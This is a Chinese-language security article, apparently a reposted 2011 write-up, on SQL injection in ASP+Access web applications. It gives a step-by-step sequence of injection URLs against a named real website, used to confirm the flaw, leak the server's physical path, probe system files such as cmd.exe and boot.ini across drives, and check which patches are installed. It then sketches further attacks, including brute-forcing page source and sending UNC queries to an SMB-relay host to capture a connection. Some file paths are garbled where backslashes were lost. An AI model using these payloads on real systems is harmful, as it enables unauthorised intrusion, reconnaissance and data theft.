移动安全 安全管理 应用案例 网络威胁系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 系统安全 >

跨文件查询access数据库漏洞的初步报告

时间:2011-05-04 15:49来源: 点击:
查询某个动态网页文件,利用查询语句获取动态网页的源代码,比如读取文件内容并把内容写入到表的一个列里,然后用len暴力猜列里的内容,从而得到源码。
Tags系统安全(735)数据库(89)  

  一. 在一次玩sql injection时无意发现了这个漏洞:

  1.访问http://www.lznet.net/news/displaynews.asp?id=24794'

  页面出错信息:

   OLE DB Provider for ODBC Drivers 错误 '80040e14'

  [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id = 24794'' 中。

  /news/displaynews.asp,行133

  2.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1

  页面正常

  3.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2

  页面返回"找不到文件"

  这是典型的sql injection with access漏洞,接下来猜表名:

  4.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from news)

  页面出错:引擎找不到输入表或查询 'news'

  5.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from admin)

  页面出错:数据库引擎找不到输入表或查询 'admin'

  6.突然想起了sql injection技术中得到的出错信息中表名格式为: news.id

  其中news为表名,id为表中的一个列名

  7.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from lznet.a)

  出错:找不到文件 'C:WINNTsystem32lznet.mdb'。

  8.试遍了web根目录以及所有知道的虚拟目录,都下载不到这个lznet.mdb,仔细一看原来是lznet.mdb这个文件名是自己定义的。但是,是什么原因泄露系统目录的物理路径呢?继续试试能不能查询c:winntsystem32下的cmd.exe文件.

  9.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from cmd.exe.a)

  这条语句格式是经过多次试验得到的:)

  出错:"数据库引擎打不开文件'C:WINNTsystem32CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。 "

  分析以上出错信息,我想权限是有的,因为我们是基于asp的guest权限,默认cmd.exe是Everyone:R ,如果打不开那就是数据库不支持了,但是文件夹是可以被数据库访问,否则我们是搜索不到其中的文件的。

  10.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:cmd.exe.a)

  在这里我们可以看到跨目录查询是可行的

  出错:

  找不到文件 'c:cmd.exe'。

  11.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:oot.ini.a)

  注:boot.ini是win2000在系统盘根目录下的系统引导文件

  出错:

  据库引擎打不开文件'c:oot.ini'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

  12.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from d:oot.ini.a)

  跨盘符查询也是可行的

  出错:

  找不到文件 'd:oot.ini'。

  13.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from i:oot.ini.a)

  出错:

  'i:oot.ini'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的。

  注:我们看到出错信息很老实的告诉了我们这个系统没有i盘,从侧面说access的出错信息在某些方面还是比较详细的。

  14.这是个比较实际的利用,如果对方是从spx打到spx,在winnt目录下就会有这些文件,我们可以通过这个漏洞查找这些文件,确定目录主机打补丁的情况:

  [$NtUninstallQ329553$] [$NtUninstallQ329834$]

  [$NtUninstallQ331953$] [$NtUninstallQ810833$]

  [$NtUninstallQ811114$] [$NtUninstallQ811493$]

  [$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

  ……………

  二.漏洞的利用设想:

  1.查询某个动态网页文件,利用查询语句获取动态网页的源代码,比如读取文件内容并把内容写入到表的一个列里,然后用len暴力猜列里的内容,从而得到源码。

  2.猜测目录的位置、文件名等等,了解对方的一点主机信息,比如说系统安装在哪个分区上,共有几个分区以及系统打的什么补丁等等。

  3.查询unc路径,如\1.1.1.1sharea.vbs,而\1.1.1.1运行着smbrelay,我们利用smb重定向技术有能会得到一个guest权限的ipc连接,这就有意思多了。

  4.查找敏感文件,比如*.cif,*.mdb等等,但是我没有实现在access上使用通配符查询文件,可能是因为我是数据库新手的问题。

  5.执行文件,可以的话就发财了.

  6.以上设想可能有理解错误正在验证中(你想到什么就告诉我吧)

  有关我对这个漏洞的理解:

  access对表和列的查询存在问题,如果我们构造一个畸型表名的话,access找不到这样的表就会当成mdb文件去查找,如果构造得当,就会当成一个文件去到硬盘上查找!(默认在system32下查找。我在也简单测试了一下,没有发现这个问题。另外利用这个漏洞需要两个条件(怕有的人不理解):

  (1)对方是asp+access应用体系,并且asp代码存在过滤不足的问题使我们可以远程注射sql语句。

  (2)asp要能显示查询失败的详细信息,比如"数据库引擎找不到输入表或查询 'news'"。否则我们无论查询是否成功都变的没有意义。

------分隔线----------------------------

推荐内容